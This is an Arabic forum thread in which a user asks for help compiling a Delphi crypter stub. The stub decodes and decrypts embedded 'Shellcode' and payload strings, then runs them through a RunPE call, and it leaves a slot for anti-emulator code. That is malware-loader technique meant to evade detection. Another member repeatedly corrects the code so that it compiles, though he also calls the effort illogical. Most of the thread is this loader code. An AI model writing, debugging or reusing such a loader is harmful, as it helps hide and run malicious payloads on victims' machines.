دخول

hosthv

السلام عليكم
اخواني الكرام لدي استفسار في وضع هذا الكود بالطريقة الصحيحة لماذا يحدث خطأ في كل مرة اقوم بوضع الكود
[صورة: 145356466259941.png]

والسلام عليكم ورحمة الله وبركاته

***محمد عبد العزيز***

وعليكم السلام

أولا اخي ضع الكود على شكل نص ضمن وسم الكود وليس على شكل صورة
ثانيا لم تذكر رسالة الخطأ
ونصيحة اخي لا تكثر من الالوان وتكبير حجم الخط

hosthv

اخي هذا الكود سؤال كيف يتم اضافة هذا الكود بالشكل الصحيح دون اخطاء

كود :
program new;
uses Windows,functions;

function getpart1:string;
begin
result:=
zaid:= StringReplace(xxxxxxxx, 'a', 'x',[rfReplaceAll, rfIgnoreCase]);
'EcKwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2ZewEdG'+
'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfLEa'+
'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJZewE'+
'dawLJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwEZew'+
'EW0wCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdj+VdD'+
'qVMfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdj+VW'+
'';
end;

var
Shellcode: string;
RunPEProc:procedure(Buffer:PChar;BufferLen:DWORD); stdcall;
allstr: string;
key: integer;
begin
Shellcode:=
'xdrwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2Zgfffv'+
'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfjud'+
'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJkiug'+
'rtswJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwpoll'+
'vgftCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdjfrtg'+
'ewsfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdiort'+
'';
allstr:=getpart1+'';
//Anti-emulator Code goes here
allstr := Decode64(allstr);
for key := 681 downto 5 do
begin
allstr:= DataEncrypt(allstr, key);
end;
Shellcode := Decode64(Shellcode);
for key := 5263 downto 5 do
begin
Shellcode:= DataEncrypt(Shellcode, key);
end;
RunPEProc := @Shellcode[1];
RunPEProc(@allstr[1],length(allstr));
end.

***محمد عبد العزيز*** · 23-01-2016, 07:36 PM

اضافة هذا الكود الى ماذا ؟
لم تذكر رسالة الخطأ

hosthv

انظر اخي الكريم هنا الكود يعمل بشكل سليم

كود :
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
   xxxxxxxx, zaid : string;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
    xxxxxxxx := 'aaaaaaaaaaaaa';
  zaid:= StringReplace(xxxxxxxx, 'a', 'x',[rfReplaceAll, rfIgnoreCase]);

  ShowMessage(zaid);
end;
end.

لكن في حالت function
لا اعرف كيف يتم الاضافة

***محمد عبد العزيز*** · 23-01-2016, 08:48 PM

غير

كود :
allstr:=getpart1+'';

الى

كود :
allstr:=StringReplace(getpart1, 'a', 'x',[rfReplaceAll, rfIgnoreCase])+'';

hosthv

اخي ظهر خطأ
[صورة: 145357731372171.png]

***محمد عبد العزيز***

كود :
program new;

 uses Windows,functions;

 function getpart1:string;
 begin
 result:=
 'EcKwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2ZewEdG'+
 'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfLEa'+
 'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJZewE'+
 'dawLJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwEZew'+
 'EW0wCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdj+VdD'+
 'qVMfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdj+VW'+
 '';
 end;

 var
 Shellcode: string;
 RunPEProc:procedure(Buffer:PChar;BufferLen:DWORD); stdcall;
 allstr: string;
 key: integer;
 begin
 Shellcode:=
 'xdrwSpfqEEbmwLJewEgWuEZewEWew3ZeAEWCw2ZeEEbWw2Zgfffv'+
 'w8JEf8EbKwIJfLEbmwJZCwIZfEEbCwLJfKEZewEZfeEbywLpfjud'+
 'RyjytjuffgjyyoluofTEbiwLZfvEbKwIZf3EaWwKpfTEb8wJkiug'+
 'rtswJfAEaCwI3fJEbqwKZfEEXew4EbCwMJfREauwKpfLEbGwpoll'+
 'vgftCJexEcewI3fLEbuwJpfPEauwR3fVEgUtv+StqVM9YQdjfrtg'+
 'ewsfxVdvpTYQdj+VdDqVMfxVdvpT7rYOcfxVdvpT7rStHzQdiort'+
 '';
 allstr:=StringReplace(getpart1, 'a', 'x',[rfReplaceAll, rfIgnoreCase])+'';
 //Anti-emulator Code goes here
 allstr := Decode64(allstr);
 for key := 681 downto 5 do
 begin
 allstr:= DataEncrypt(allstr, key);
 end;
 Shellcode := Decode64(Shellcode);
 for key := 5263 downto 5 do
 begin
 Shellcode:= DataEncrypt(Shellcode, key);
 end;
 RunPEProc := @Shellcode[1];
 RunPEProc(@allstr[1],length(allstr));
 end.

انصحك بتعلم الباسكال واساسيات البرمحة أولا

hosthv

اخي نفس المشكلة
[صورة: 145357817330051.png]

***محمد عبد العزيز*** · 23-01-2016, 09:55 PM

ليس نفس المشكل
StringReplace معرفة في SysUtils لذلك عليك اضافتها في الuses

كود :
program new;

uses Windows,SysUtils,functions;

اصلا ما تفوم به غير منطقي

دخول
اسم المستخدم/البريد الالكتروني :
كلمة المرور :	فقدت كلمة المرور ؟
	تذكرني بالمرة القادمة